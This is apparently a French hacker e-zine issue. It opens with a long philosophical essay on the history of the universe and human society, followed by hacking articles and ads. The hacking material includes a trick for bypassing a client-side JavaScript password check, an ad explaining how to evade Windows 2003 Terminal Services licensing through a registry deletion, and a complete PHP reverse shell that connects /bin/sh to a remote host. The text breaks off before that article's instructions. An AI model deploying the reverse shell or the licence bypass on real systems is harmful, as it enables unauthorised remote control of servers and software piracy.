avec   la naissance   de quarks,   de neutrinos,   dlectrons et de photons,  des particules  
encore  loin du  noyaux  atomique  que  lon  connais  actuellement, mais   une  temprature 
de  10^27 degrs  Celsius, on  peut  tre  tolrant.    10^-6 sec, 10^13 degrs, les premier 
protons et neutrons font  leurs  apparition dans ce  qui tait le  vide, une premire.  Apres 
3 minutes  de  vie, dj les premiers  lments  dhydrogne  faisait leurs  entres,  suivit  
par  lhlium.  Puis  300 000  ans  plus  tard, (ce  qui est encore relativement   bien), les  
atomes  dhydrogne et  dhlium  ont officiellement  leurs  lectrons qui gravitent autours, 
lunivers se refroidit, plus que 10 000 degrs Celsius.  Puis un milliard  danne plus tard, 
  -200 degr  C. ,  la gravite condense   les  nuages  de gaz qui parcoure lunivers encore 
prcaire, des amas de particules se rapprochent, schauffent et cre les premires galaxies,  
et  les  premiers soleils de ce monde.

A  cette  poque,  lespace  est  encore relativement minuscule, pourtant tout de qui compose 
lunivers encore de nos jours devait thoriquement sy trouver, sous une  forme ou une autre, 
notre soleil, notre terre, les particules qui vous  compose, de  facon encore  bien primaire,  
non transformes  par les  milliards  dannes dvolutions qui vont suivre. Cest en quelque 
sorte lunion entre  linfiniment  petit  et linfiniment grand qui prend sa source ici, dans 
cet amas de gaz encore  tnbreux.  En  fait on peut  mme  dire que  philosophiquement   se  
moment  de lexistence mme de lunivers, tout le potentiel de la vie futur tait en train de 
prendre  naissance,  par  la  complexit  des  forces  qui  allait btir par la chaleurs, les  
lments, les  particules, cette  vie non  seulement futur,  mais probablement gnraliser    
plusieurs autres  espces  que  ltre humains,    travers  lunivers en entier, laissant la 
voie ouverte  la crativit de  divers tres pensant capable dapprcier le processus ultime 
de la cration,  peut-tre mieux que nous mme a lheure actuel..

Cette volution va sexpandre encore et encore, donnant naissance  des  soleils massifs  qui 
exploseront  pour librer  des mtaux  lourds. De  la  mort  de  ces  toiles  prcurseur  se 
cache une transformation de lhydrogne en hlium, en carbone, en oxygne, puis en silicium.. 
et finalement en fer.  Fer une  matire  stable  qui  ne  peut  tre fusionne  pour cre  de 
lnergie.  La matire ainsi expulse du  corps mme  de ltoile  (et de  ce qui  lentoure) 
se  rpand dans  lespace encore une fois, dissipant  sa matire sur des milliards  dannes.  
Et cest cette matire l qui, 5  milliards dannes plus tard, cre notre  systme  solaire, 
puis  les plantes  qui lentourent,   cre par lamoncellement de la matire qui se condense  
en des points gravitationnelle. Ces  particule de matires soumises  des forces de  pression 
et de gravite extrme dgagent  une  chaleur,  chaleur  qui  encore de nos  jours continue  
alimenter le soleil,  et le  cur de cette bonne vielle terre. Mais cette vision du monde est 
encore une fois bien relative, car au mme moment    lautre  bout  de  lunivers,  le  mme  
scnario  se  perptue  sans  arrt, en se moment mme. Puis, ces soleils tout comme le notre
cre au fils  du hasard du  dplacement des masses, et des gaz  qui les formes, sont des fois 
simple, double, ou mme triple pourquoi pas quadruple.. qui  sait  ce  que  le  hasard  peut 
accomplir  statistiquement avec  comme limite un nombre infini dchantillons. Dans notre cas 
cependant, le hasard, backer par  beaucoup  de  physique  lmentaire,  a permis  une petite 
plante de roche, qui est  situe dans lcosphre  du soleil,  une limite  ou en  gros leau  
peut svaporer, et  geler,  qui  permet  ce quon nomme  la vie, dexister, enfin  ce jour  
cest la conclusion. Il est aussi intressant de noter  que  cette  petite  boulle  bleue, la 
Terre, doit son champ  magntique  la  rotation    son  centre  de  mtal  (fer) en fusion.   
Champ  magntique  qui  savre  trs  utile  pour  supporter  la vie,  en dviant des rayons 
cosmiques qui manent du soleil.

Mais la vie en tant que telle savre une mystre encore entier, lamoncellement  de carbones 
et dacides amines, dans un milieu aquatique primaire, est en  soit  plutt  prcaire  comme  
explication, tout comme  la mtorite venant  de lespace  porteur  de  vie  il y a de ca 3.6 
milliard dannes. LADN dfinie, de facon  trs microscopique  mme  cette poque,  un gage  
de survie  de la  vie  elle-mme, encodant les spcifications pour cre  dautres entits qui 
se dvelopperont     leurs  tours. Les algues  se multiplie, et donne  par le fait mme  une 
source  de  nutriment    dautres espces  plus volue.  La vie  se sert  de loxygne pour
accrotre son  potentiel nergtique,  puis certaines  espces  sortent   de  leau  pour  se 
perdre dans un monde encore vide dexploration. Le pouvoir de la vie est  en  soit un sujet  
dbattre. Ladaptation et lvolutions des espces en  rapport    leurs  besoins,     leurs 
environnements, comme si la vie ne voulait pas  mourir, en crant   des  mutations   au seins   
mme  des   entits  quelle  cre,  la slection naturelle  ou les  plus forts  survivent et  
perptuent  leurs  gnes    lespce mutante ainsi super adapter. Il est aussi intriguant de 
voir en la  vie des constantes statistiques  bien   particulires,  les   arbres  et   la vie
vgtal semble avoir  un  faible  pour  une  structure  de  type  branche,  feuille  .. ces 
ramifications du  frame solide  vers dautres  frames moins solide, la logique derrire cette 
ingnierie naturelle est forte, elle permet  larbre de grandir petit bout  par petit  bout, 
sans  que des  parties importantes   soient mises en pril  et  cause   la fin  de   larbre,  
le  tout   en maximisant  lextrmit de ses branches lexpansion de lespace. On note aussi 
que plusieurs animaux sur  terre on et on eu, deux yeux, un  nez, une bouche, des poumons, un
coeur,  un cerveau,  un coup, en  fait sa semble  tre la norme  fondamental du gnome TERRE, 
pour  les entits  importantes du moins. Une prise  de conscience se  fondant sur  des  faits  
statistiques qui  se   perdent   dans   les   abymes du temps. La  suite sacclre   par une  
multiplication de   la vie  vgtale,  et animale, des  tres de plus  en plus gros peuple ce  
monde, puis finalement  des tres gigantesques,   et des  reptiles volant  sen donne  coeur  
joie pour se nourrir  de petits  mammifres.. Un   poque qui  aurait  bien  pu  aboutir  aux
premier tres   dots dintelligence  proprement dite, mais un autre vnement catastrophique
mis   fin   cet essai  de la  vie,  un  essai tout  de mme trs  concluant.  Encore  cette 
poque, des  dinosaures, ont du regarder la mme lune que nous voyons   3 semaines par  mois, 
ce quils  devait en conclure, rien de particulier peut-tre.. mais   la lumire qui  manait 
de  celle  ci devait tre en soit une   source de rconfort..    ( Qwzykx lami   des animaux 
ici..)  Puis aprs  une bonne  dose dvolution,  ltre  humain  vis le  jour,  cette   tre
physiquement  plutt  impotent,  qui  ne  possde  que  comme  seul avantage  un cerveau plus 
dveloppe, et une paire de  main,  a sus survivre  une poque  ou  ses  moyens taient plus 
que limites, se  gossant des bouts de bois avec ce  qui  lentour pour chasser, et apprenant  
des anciens les rudiments de  la confection et du maniement des  armes, ainsi que comment  se 
gosser des pseudo-manteaux  de  poils, ou simplement comment apprter un  sanglier .. Lhomme 
se prtait mme  des  excs  dintelligence et  de  crativit en  peinturant  sur des  murs  
ses exploits, ces  qutes, ces  russites,   il laissait derrire lui plus que son existence, 
mais  bien celle  dune poque.(Noter ici  lanctre du  Zine),  mais ou des  signes de   ces 
artistes prcurseurs restent  encore  sous la  forme  de  dessins, ou  dartefact. Puis  plus  
tard  les clans, et  ensuite  les  socits se formrent.  Des   endroits ou   collectivement  
ltre  humain trouvait  un avantage   sentourer du savoir des  autres. Lpoque tait dur, 
et encore plus quand lhomme  neu  que  lhomme    craindre.  Ds  lors  la  qute  de   la  
connaissance pris un  rythme que ne devait plus ralentir,  sa survie en dpendait, quil   en
soit conscient   ou non.  Puis  les  annes passrent,  des territoires entiers firent partie  
de  loeuvre  de lhomme,  des constructions  de moins en moins rudimentaire virent  le jour,  
de mme  que des  rudits de  lpoque. La guerre tait toujours  en arrire   plan, de  plus 
en  plus mortel,   et efficace, des lgions de personnes motives par leur amour de la patrie 
(tien ca date  pas  de si tt)  se  lancait    la conqute, ou   la dfense de  territoires.  
Des hros virent le jours, et moururent,  mais loeuvre faite et accomplie  allait changer la 
gographie  politique du  monde pour  des annes   venir.  A cette poque  de  balbutiement, 
lhomme tentait  tout  de  mme  de  comprendre  le  monde  dans  lequel  il  vivait,  ce qui  
lentourait. La  philosophie grec,  poque ou  la  masturbation intellectuel a belle  et bien  
dbouche  sur  des principes   fondamentaux de la science actuel, que se soit  le fait   que 
tout  est compose de *grains de sables minuscules*  ou quil  ne faut   quun grand   levier 
pour   soulever   le   monde,   sans   parler  du   nombre  d'art  qui fut un  modele d'ideal 
mathmatique  ;)  Ingnieux, on se demande mme comment par la nature de ce qui les entourait  
ces philosophes pouvaient en venir  de tel conclusions.. tout  fait juste ;).. Par  contre, 
on voit encore bien quun Einstein mme    cette  poque  naurait  pas  pus  dcouvrir  les   
fondements  de   la  relativit,   les  stimulis   humains  qui  lentourerait  cette poque 
de la  philosophie tait tout de mme limites,  on  aurait  peut-tre  mme  vu en lui quun 
pitre laveur de toge..

Puis par la suite, vint lpoque  de lexploration, des pidmies, et encore  de  la  guerre. 
Lhomme poussait  sans  arrte  sa  dcouverte   autant  scientifiquement,  techniquement  et 
socialement. On note aussi que la religion a t un moteur  non ngligeable pour la confiance 
de lhomme en de grandes causes. Cette  conception de la  vie aprs  la mort  est en  soit un  
rconfort  ultime  qui  devait  tre    lpoque beaucoup plus tangible quen se  moment (et 
encore ..) . La  dcouverte du  nouveau  continent,  la colonisation de celui-ci de facon peu 
thique, mais oh combien efficace, le  dbut du commerce  international, et avant que lhomme 
de  lpoque  puisse  prendre  conscience   dans    toute    lignorance   qui   lentourait,
lindustrialisation, et  les bases  du capitalisme  firent partie  du quotidien. Puis vain la 
1ere  guerre   mondial,   une  poque  ou  les technique de guerre furent  raffiner aux gots 
technologique du jour  de facon ingnieuse, une poque ou  le  dveloppement   technologique,  
surtout  en matire  darmement,  fit  de grandes innovations, innovations essentiels  la 2e 
guerre mondial, ou des  technologies  exotiques  comme  les  avions,  sont  devenue  beaucoup  
plus  perfectionner, et  efficace. Ou le fondement mme de  la force contenue dans la matire  
pris enfin  tout  son sens avec lapparition  de la  bombe nuclaire,  une bombe  somme toute
de faible magnitude (21 Kilotonnes)  si  on  la  compare  avec les innovations apportes lors 
de la guerre froide (51 Mgatonnes), bombe-H, bombe   neutron..  En  fait cette lubie de mad  
scientist prenait ici  un tournant  qui  laisse  un froid dans le dos, si la guerre  de jadis 
se passait  en  voyant  de  moins   en moins  le regard  de lautre,  cette fois il suffisait 
dtre   des milliers de Km de distance  et de tourner  une cl pour dcimer une  population  
entire  de  plusieurs  millions de personnes.  Puis viens paradoxalement  par  des  procder
similaires lexploration  spatial de  lhomme, premier  annimal  de  la terre  russir cette 
exploit.  De quelques  tours autour  de  la terre, on  sest vite appropri la lune,  pour la 
science,  et   aussi   quelques   notorits   politique.  Enfin,  la  suite  de linnovation  
poursuivit  sont  cours,  avec  des  navettes  rutilisables, des lanceurs de  plus  en  plus  
perfectionns,  des  sondes qui eurent pour but dexplorer des mondes si lointains,  mais  oh  
finalement combien  si   proche  aprs  tout..  sans oublier cette merveille technologique du 
monde  moderne.. le  bras  Canadien ;)  Et  nous voici en 2005  avec un  semblant de  station  
spatial  international   qui se  veut  un  lieu  de  dcouverte et dexploration scientifique 
et aussi avant poste  de  traite  pour de futurs missions sur la lune, ou encore vers mars. 
Le besoin de lhomme  repousser  les  limites qui lui  sont donnes est  en soit une  oeuvre 
intrigante   de  la  vie,  de  lintelligence,  et de  lingniosit. Et  on voit  bien cette  
relation  par  la  complexit,  et  la fonctionnalit de plus en plus dfinie et prcises des  
outils  que  lhomme   continue  de  construire,  et  on  est  bon dans  les outils, car on a
vraiment  eu  le temps  den  gosser  une couple  depuis lage  de pierre ;) En ce  dbut  de  
millnaire, on  est peut-tre  une des  dernires gnrations  dtres humains  voir la lune 
encore inhabite par lhomme de facon permanente, car il y a depuis dj des annes au  moins 
quelquun  quelque part  qui dort   dans lespace ;).

Les  communications   explosent, lhomme   est  plus  individuel  que  jamais, mais solidaire 
nationalement,  quel ironie, quand  on pense que  dans  plusieurs pays le pouvoir est divise 
entre  deux grand  choix de  gouvernement,  comme  si on  avait toujours  besoin dun  Yin et  
dun Yang  .. ne  serait-ce que  par dissuasion La condition  de   lhomme  dans  lunivers,  
des   sentiments   de  celui-ci,  de  exprience  quune  personne moyenne  peut exprimenter  
dans une vie, de la mmoire  quil peut  emmagasine,  de  la crativit quil peut exprimer, 
tant dlment qui nont pas de limite national, tans  dlments  qui sont un  tmoignage de   
ltat de  mammifre engrosser  cervicalement qui  nous dcrit.  Le pouvoir  de voir  la  vie  
en se  basant  sur  les recherches    des autres, sur  la conception de  ce  qui nous entour, 
par la comprhension  et le raisonnement, cest  un aboutissement curieux quand  on y  pense, 
de   pouvoir admirer lunivers  avec le  peu dinformation  quon a   cette poque,  curieux
quand on pense quon est le 1er essai du raisonnement, le 1er essai que la   vie  a cre d'un 
tre qui se dmarque des autres par une  capacit de comprendre  et dcrire ce qui lentoure, 
le tout en ayant le choix de  changer par des   moyens  cratifs  son milieux,  une des rares  
espce  adapter  son millieux de  vie  au  lieux  de  s'adapter  celui-ci. Un tre qui peut 
comprendre de  facon   physique  et philosophique  sa situation  dans le monde, ou simplement 
la notion mme du mot   monde . Mais sommes  nous  si  brillant  aprs  tout,  est-ce   que 
lhomme est  digne   dtre vu   comme  un  model?  Malgr le fait quon invente des voitures 
avec des  polymres de plus  en plus complexes,  des micro-ondes,  des processeurs de plus en   
plus nanoscopique..  le  fait  est  que  la  majorit   des  gens  nont  que  faire de   tel  
connaissances,  lhomme moyen  ne   vise  qu  utiliser ce quon   lui offre, sans  trop  se 
poser  de question..  si   quelque  chose  brise,  on  va  chez  le  rparateur, qui lui-mme 
commande une pice  neuve, sans rparer lancienne pice qui  est dailleur fort probablement 
revendue    une  compagnie  de  recyclage...  Ca   fait   de  nous,  du  systme   un   lieu
ou lintelligence humaine applique des connaissances   (plus  conomique quenvironnemental).  
Donc  est-ce   pour  son   propre bien  ou pour  le bien du  peuple quon tente de changer le 
 monde  ?

Les grands pionniers scientifiques sont les vrais artisans du monde effrn technologiquement 
dans lequel nous vivons.. et  sa serait naif de dire que  tout le monde est gale, car par le 
sens mme des intrts qui motive chacun, on voit bien  que  certaines  personnes  manipulent  
ou  sont  manipuls,  avec  ou  sans  consentement.  La capacit de raisonnement est aussi un 
facteur intrigant,  quand  on pense que la majorit des personnes prennent un choix politique 
envers leurs prsidant/premier  ministre  la veille  mme  de llection.  Se  basant sur  la
critique du dbats des chefs, ou le look de la personne, la dtermination  quil dgage. Mais  
dans les  faits on  peut avoir  un leader  amorphe, ce qui  compte cest les projets de  lois  
qui  en  dcoulent..  Les  speach  publique  sont  prfabriqus  de  toute  pices,  par  une  
arme  de  personnes  en   relation diplomatique don le but est de plaire le plus possible 
 une masse de personne (dont le QI cible  est passablement  85) de  jouer sur  leurs peurs, 
sur leurs  espoirs  futurs,  la socit dmocratique est de plus en plus pleine de trous,  un
systme ou les erreurs superposes  se sont accumules offrant   une oligarchie  de personne 
la possibilit de gouverner  un pays,  leurs intrts, incluant la vision  du  monde  quils  
offres    leurs  lecteurs.  Les  fonds privs sont essentiels    une  campagne  en  rgle,  
et    dfaut  de  pouvoir  avoir  des  investissements  que  par des  belles paroles,  cest 
par  largent quon vient   bout de faire plier des dirigeants  dentreprise en sa  faveur.. 
Un choix avare, mais payant,  surtout quand  on apprcie  toute la  dynamique de manipulation 
de masse derrire tout ca. L'intellect humain, aboutissement logique de la vie  (si on se fit 
 la logique qu'on en  connat) en fait la seule qu'on connat ;)  (ce  qui serait logique).. 
bon, si on  en revenait au sujet.. Cette intellect  qui me  pousse    crire ce soir, vous   
me lire, et bien d'autre  vider  des poubelles ou perfectionner un gnrateur  de plasma, on 
est tous aussi pertinent que des fourmis, et bien qu'on aime pas avoir le rle de la fourmis, 
on l'assume  assez bien d'un tas de gens, (incluant tout ses inconnues au Mexique).  Mme  la  
plus attruiste des  personne voit  par moment  ses semblables  comme des obstacles  eviter..  
Et  oui  vous  tes  une  fourmi,  une  fourmi   de  plus  dans  cette  fourmilire  humaine, 
votre race  est votre nationalit,  votre territoire  aussi  dfinie  que  les  voisins   qui 
peuple dautres fourmilire le veuillent bien. Le but est simple, ne   pas tre  exterminer.. 
On  attend beaucoup  dune  fourmi,  beaucoup  trop,  beaucoup plus  que  ce quelle voudrait 
faire de sa vie, elle doit  travailler, apporter  de la  bouffe au  nid,  se   battre en  cas  
de danger,    et  malgr  tout  elle   se promne    non chalament  dans  les  prs,  jusqu  
ce quun stimuli  extrieur vienne menacer   sa  vie, et mme    cette  grosseur lesprit de   
survie est remarquable.  Je  mtonne des  fois  de  voir  des stratgies    diffrentes chez   
des  bestioles,  la fourmi  par exemple  va  fuir,  bouger  plus vite  pour se  sauver ou  se 
dfendre..  mais pour laraigne la situation  est tout  autre,  plus   sneaky elle  va faire  
la morte, et elle est plutt  convaincante, si ce  ntait de mon  excs de QI,  il sagit la 
dun truc  qui  marche  mme  avec  le  chien  le  plus  brillant Jcrois qui a un parallle 
  faire avec  lespces humaine,  il y  a des  ces gens  qui vont se dbattre pour se sortir 
dune situation,  dautre qui vont simplement attendre dans le calme que la situation  passe, 
quel situation est la  meilleur, mystre, ca dpend de  la  situation   et de   votre  chance  
se  matin  la ;) Cest passionnant de voir chez  des tres plus petit  que son ongle,   quel 
point des  comportements  de  la  vie  de  tout  les jours  peuvent  tres  appliqus,  quel
point on peut  trouver une  raction familire, et comprhensible. Mme  chez un chat on peut  
dceler ses  essais  de   sneaky  cat    ou  ses  routines  de  nourriture,  ce  que  cette   
boulle de  poil  offre  de  plus  que  des  insectes cest une   communication comprhensible  
rciproque, simple  soit,  mais  quand  mme  prsente, quand il  vous regarde dans les  yeux 
en miaulant se tenant  un point prcis de votre  appartement, on dduit ce quil dsire,  ce 
quil  veux, et aprs  tout  s'il  nous  en  fait part,  cest qu  quelque part,  lui aussi
estime de vous que vous allez le comprendre..

Si vous avez du temps  investir dans les fondements de la physique moderne,  je vous suggre 
 The elegant univers   .. disponible chez  votre  provider   peer-2-peer  local.. Je  pense 
pas  quon  va  vous  en  vouloir de vous instruire par vous  mme ;)  Sa  jase  de  concepts 
passe/prsent/et futur ;)  .. une facon original et  mouvante  de  voir  lunivers comme un 
tableau  de Dali.. , et on est encore  loin de la collection complte ;)




  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  /, `
 \  /   \[:P]/      \_____                                                   ___/    ;
 |\/  '  \__/ . ' ;   |  \____           /:/=[  Info-Pubs  ]=\:\         _____/  x  ` 
 || `  ()            -+-   \____   ________________________   ____ ____   /  ,   . |  ,
 || + .  . ` ; ` : `  | x  ,  :/ _/ , x      ;  '  . .  +  \_ \   \\_ x\_ \      -=+=-
 ||  ____  ____    __     _    // _      '_    ___  ________ \\_` \_ \ _ \\_   .  `| ,
 ||.|                                                        \_ \   \\_  \_ \         `
 || |                                                          \\_  \_ \   \\_ M  ; . X
 || |                                                          \_ \   \\_  \_ \ K      
 || |Vous voulez ecrire un article, mais votre chien viens de    \\_  \_ \   \\_ -  : '
 ||`|quittez pour votre blonde? pas le gout de penser par        \_ \   \\_  \_ \ 1   
 || |vous-meme? Nous avons la solution pour vous... ce magnifique  \\_  \_ \   \\_ 1  + 
 || |notepad booster vous est offert gratuitement :                \_ \   \\_  \_ \ 1   
 ||'|                                                                \\_  \_ \   \\_  x 
 || |                                                                \_ \   \\_  \_ \  `
 || |                                                                  \\_  \_ \   \\_  
 ||,|          http://mrgibson.zapto.org/air/filler.php                \_ \   \\_  \_ \.
 || |                                                                    \\_  \_ \  _\\_  
/ | |                                                                    \_ \   \\_/    \
 / ;|                                                                      \\_  \_       |
 /  |__________________  __________   _____     ___     _      _      ___ _\_ \__/       |
 /\_____ ` + . _// ` x ,   ,   `    ; X  `           :      .   -+-  :    ,  \\_/        |
\\_     \_____/  /___________  +  :  .    ,  ` x  ,     " ,   .  `   .   ____\           |
\_ \                        \___________________________________________/                |
  \\_ /:/=[ Air Filler 2000 : Instant notepad booster                             ]=\:\  |
  \__\__________________________________________________________________________________/ 

  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  / `
 \  /   \[11]/ +   ,\_____                                                   ___/ .  `
 |\/   , \__/  .        \____ /:/=[ Un affaire de javascript      ] =\:\ _____/  `  x
 || ,    .         "   :X  \_______________________________   ____ ____   /    ,  `  `
 ||         +  ,   () .         x  , .           `   '   ` \_ \  ,\\_ +\_ \ 'M  ` |  .
 ||   ` |  `       ,      `   ,         +  ,  ` ,--,   +   . \\_  \_ \ , \\_  K  -+-   
/ |+   -+-    .        ,       `      ,       ,',/ ,'.       \_ \ . \\_  \_ \  -  |   `
 /    . |  ;     +         +  .   `   | :  .  :`` ,_):   '   ` \\_  \_ \   \\_` 1   ,  
 / ` .      .        x          ,  .-=+=-     `. ,. ,'  ` ,    \_ \ + \\_` \_ \  1
 /\_____  x    ' ,      . . X         |   `     `--'  `      `   \\_  \_ \ , \\_  1 +
\\_     \___________________ ,  .  .  ` ,  +  '   ,    , ; x   ._\  \___\\___\  \ .   
\_ \                        \__________________________________/                 \  ` ,
  \\_ /:/=[ Aka:                                                           ]=\:\  \    
  \__\__________________________________________   ______________________________  \`  
                                                \__\                            /__/   
                                                  \\_ /:/=[  Liondejuda  ]=\:\ _//     
                                                  \__\________________________/__/ 


              0001001000000100000001001000001000000100010000000000010
              010      __  __           __  _____                 000 
              000     / / / /___ ______/ /_|__  /   _____  ____   001  
              001    / /_/ / __ `/ ___/ //_//_ < | / / _ \/ ___/  010
              000   / __  / /_/ / /__/ ,< ___/ / |/ /  __/ /      000
              000  /_/ /_/\__,_/\___/_/|_/____/|___/\___/_/       001
              010            http://hackever.n0ne.org             000
              0100010001000000100001001000001001000000010000010000100


Voici un script crit en javascript qui permet d'accder  une page aprs autentification via 
une  fentre  pop  up. Vous allez vous rendres compte de la facilit avec laquel nous pouvons 
passes outre cette protection.

Certain lements ont ts volotairement changs. 

Pou r commencer enregistrez la page du site ou se situe le script pour pour ensuite pouvoir y 
travailler hors connexion.


<script language="JavaScript">
function check()
{
var hk=unescape("%45%56%78%63%95%14%75");
if (document value == hk)
{
alert("Mot de passe accept");
}
else
{
alert ("Erreur du mot de passe");
}
}
</script>


Le document nous indique clairement la dmarche  suivre pour russir une autentification, le 
passe doit avoir la valeur de hk.

Nous allons donc tout simplement remplacer :

alert ("Erreur du mot de passe");

Par:

alert (unescape("%45%56%78%63%95%14%75"));


Ce qui donnera :


<script language="JavaScript">
function check()
{
var hk=unescape("%45%56%78%63%95%14%75");
if (document value == hk)
{
alert("Mot de passe accept");
}
else
{
alert (unescape("%45%56%78%63%95%14%75"));
}
}
</script>


Enregistrez les modification et lancez la page dans  un  navigateur  web.  Le  passe  devrait 
s'afficher sur la fentre pop up ou vous alors vous accdez directement a la page protg.

Je n'ais encore jamais rencontr ce genre de faille  part sur des challenges de javascript .			

crit par LIONDEJUDA.

				(c) Hack3ver - All rights reversed.



  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  /, `
 \  /   \[:P]/      \_____                                                   ___/    ;
 |\/  '  \__/ . ' ;   |  \____           /:/=[  Info-Pubs  ]=\:\         _____/  x  ` 
 || `  ()            -+-   \____   ________________________   ____ ____   /  ,   . |  ,
 || + .  . ` ; ` : `  | x  ,  :/ _/ , x      ;  '  . .  +  \_ \   \\_ x\_ \      -=+=-
 ||  ____  ____    __     _    // _      '_    ___  ________ \\_` \_ \ _ \\_   .  `| ,
 ||.|                                                        \_ \   \\_  \_ \         `
 || |                                                          \\_  \_ \   \\_ M  ; . X
 || |                                                          \_ \   \\_  \_ \ K      
 || |                                                            \\_  \_ \   \\_ -  : '
 ||`|Vous runnez windows 2003 illegitimement, vous etes trop     \_ \   \\_  \_ \ 1   
 || |broke pour payer des licenses de Terminal Service? Pas de     \\_  \_ \   \\_ 1  + 
 || |probleme, Effacer periodiquement (a tout les 30 jours) le     \_ \   \\_  \_ \ 1   
 ||'|registre HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSLicensing      \\_  \_ \   \\_  x 
 || |et laisser TS runner en preview mode.                           \_ \   \\_  \_ \  `
 || |                                                                  \\_  \_ \   \\_  
 ||,|                                                                  \_ \   \\_  \_ \.
 || |                                                                    \\_  \_ \  _\\_  
/ | |                                                                    \_ \   \\_/    \
 / ;|                                                                      \\_  \_       |
 /  |__________________  __________   _____     ___     _      _      ___ _\_ \__/       |
 /\_____ ` + . _// ` x ,   ,   `    ; X  `           :      .   -+-  :    ,  \\_/        |
\\_     \_____/  /___________  +  :  .    ,  ` x  ,     " ,   .  `   .   ____\           |
\_ \                        \___________________________________________/                |
  \\_ /:/=[yet another micro$oft shit, and yet another joke just begining with yet]=\:\  |
  \__\__________________________________________________________________________________/ 


  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  / `
 \  /   \[12]/ +   ,\_____                                                   ___/ .  `
 |\/   , \__/  .        \____ /:/=[ un affaire de reverse shell   ] =\:\ _____/  `  x
 || ,    .         "   :X  \_______________________________   ____ ____   /    ,  `  `
 ||         +  ,   () .         x  , .           `   '   ` \_ \  ,\\_ +\_ \ 'M  ` |  .
 ||   ` |  `       ,      `   ,         +  ,  ` ,--,   +   . \\_  \_ \ , \\_  K  -+-   
/ |+   -+-    .        ,       `      ,       ,',/ ,'.       \_ \ . \\_  \_ \  -  |   `
 /    . |  ;     +         +  .   `   | :  .  :`` ,_):   '   ` \\_  \_ \   \\_` 1   ,  
 / ` .      .        x          ,  .-=+=-     `. ,. ,'  ` ,    \_ \ + \\_` \_ \  1
 /\_____  x    ' ,      . . X         |   `     `--'  `      `   \\_  \_ \ , \\_  1 +
\\_     \___________________ ,  .  .  ` ,  +  '   ,    , ; x   ._\  \___\\___\  \ .   
\_ \                        \__________________________________/                 \  ` ,
  \\_ /:/=[ Aka:                                                           ]=\:\  \    
  \__\__________________________________________   ______________________________  \`  
                                                \__\                            /__/   
                                                  \\_ /:/=[      __2     ]=\:\ _//     
                                                  \__\________________________/__/ 




Depuis des temps immmoriaux, l'homme a essay, a  plusieurs  reprise  (non  sans  peine)  de 
comprendre d'ou venait son ombre...Avec un intrt beaucoup moindre, voici  une des solutions 
a un problme d'un tout autre ordre, j'ai nomm: Comment   ouvrir   un reverse shell a partir 
d'un simple script PHP sans avoir a utiliser un logiciel tierce ?

Il  existe  prsentement  une  quantit  incroyable de solutions (la majorit, si ce n'est la 
totalit) utilisant des pseudo-shells "one time", je m'explique: un script  PHP excutant par 
exemple shell_exec() et retournant le rsultat via une page WEB  dans  un  browser  (tel  que 
Firefox ou IE. Cette solution est trs basique  et ne permet  pas l'utilisation de programmes 
plus complexes comme "vi" ou "lynx". Jentends par complexe le   fait que  les  applications, 
nommes prcedement, ont la fcheuse  tendance  de ncessites une interaction  continue avec 
leur utilisateur. Le logiciel ne sort pas aprs son excution, mais  ncessite  par contre un 
CTRL-C pour terminer. Il y a aussi le fait d'avoir  taper dans un formulaire HTML pour faire 
excuter des commandes qui brise un peu l'ambiance kitch  du  bon  vieux shell en console. Et 
que pourrais bien en penser les voisins?

Pour rgler le problme il faut donc tre capable de lire le rsultat d'une application et de 
lui crire (envoyer du contenu), on parle   alors de transmission  full-duplex.  Le  problme 
tant  qu'a  priori  PHP n'offrait pas ce genre de fonctionnalits, jusqua rcemment avec la 
venu de PHP 4.3.0 et 5.

Les nouvelles fonctionnalits sont donc arrivez sous la forme de la fonction "stream_select", 
qui  est  une  copie  conforme  du  bon  vieux  select()  en  C,  on  peut  donc   faire   du 
"IO multiplexing" via PHP. Lire le contenu d'un socket ou d'un processus ne   cause  plus  un 
blocage complet du script PHP :)

Dans le cas ou ces fonctionnalits ne soient pas disponibles, la mthode efficace aurait pris 
la forme d'un module PHP programmer en C contenant ce que vous  auriez  bien  voulu   charger 
durant l'excution du script via la fonction "dl()". 

Revenons  nos moutons, voici le code, permettant de faire ce que je viens d'crire, expliqu 
ligne par ligne pour vous, les nombreux (Sarcasme)  lecteurs. Les  instructions  sont  justes 
aprs le code:

--------------------------------SNIP HERE-------------------------------------------------

<?php




		
	if (!isset($_POST["hostname"])) {					// Cette partie
										// sert simplement
        print "Running: ".phpversion()."<BR><BR>";				// a afficher un
        die("<HTML><BODY bgcolor=#efefef><FORM method=POST>Hostname: 		// formulaire 
		     <INPUT TYPE=text name=hostname value=1.2.3.4>		// demandant le 
                     Port: <INPUT TYPE=text name=port value=10000 size=5>	// hostname
                     <INPUT TYPE=submit value=GO>				// et le port ou
                     </FORM></BODY></HTML>");					// envoyer le shell


}

        set_time_limit(0);	// on dsactive la limite en temps pour que le shell puisse rouler
				// le temps ncessaire.


	// on ouvre un socket vers le host qui recevra le shell
        $socket = fsockopen($_POST["hostname"],$_POST["port"],$errno,$errstr,10);
        if (!$socket) die("Unable to connect");




	// La partie qui suit invoque /bin/sh
	
        $descriptorspec = array(
           0 => array("pipe", "r"),  // STDIN
           1 => array("pipe", "w"),  // STDOUT
           2 => array("pipe", "r") // STDERR
        );


        $process = proc_open('/bin/sh', $descriptorspec, $pipes);

        if (is_resource($process)) { 		// si cest valide
    
        while(1)
        {
                $tocheck = array($pipes[1],$pipes[2],$socket);	// l'array contenant les descriptors
								// a verifier, soit: STDIN,STDERR et SOCKET


		// On multiplexe et on verifie quels sont les descripteurs qui ont besoin d'etre gerer.
		// Quand cela se produit on "forward" les donnees tout simplement.

                $int = stream_select($tocheck,$a =NULL,$b = NULL,0);

                if (in_array($pipes[1],$tocheck)) {
                        $input = fread($pipes[1],4999);
                        if (strlen($input)==0) die("No more joy (Software exists?)");
                        fwrite($socket,$input);
                }

                if (in_array($pipes[2],$tocheck)) {
                        $input = fread($pipes[2],4999);
                        if (strlen($input)==0) die("No more joy");
                        fwrite($socket,$input);
                }

                if (in_array($socket,$tocheck)) {
                        $input = fread($socket,4999);
                        if (strlen($input) == 0) die("No more joy, client left");
                        fwrite($pipes[0],$input);
                }

        }

        }

       die();

?>

--------------------------------SNIP HERE-------------------------------------------------


 
How fulfilling, du beau code PHP. Maintenant passons aux explications: Pour utiliser ce code, 
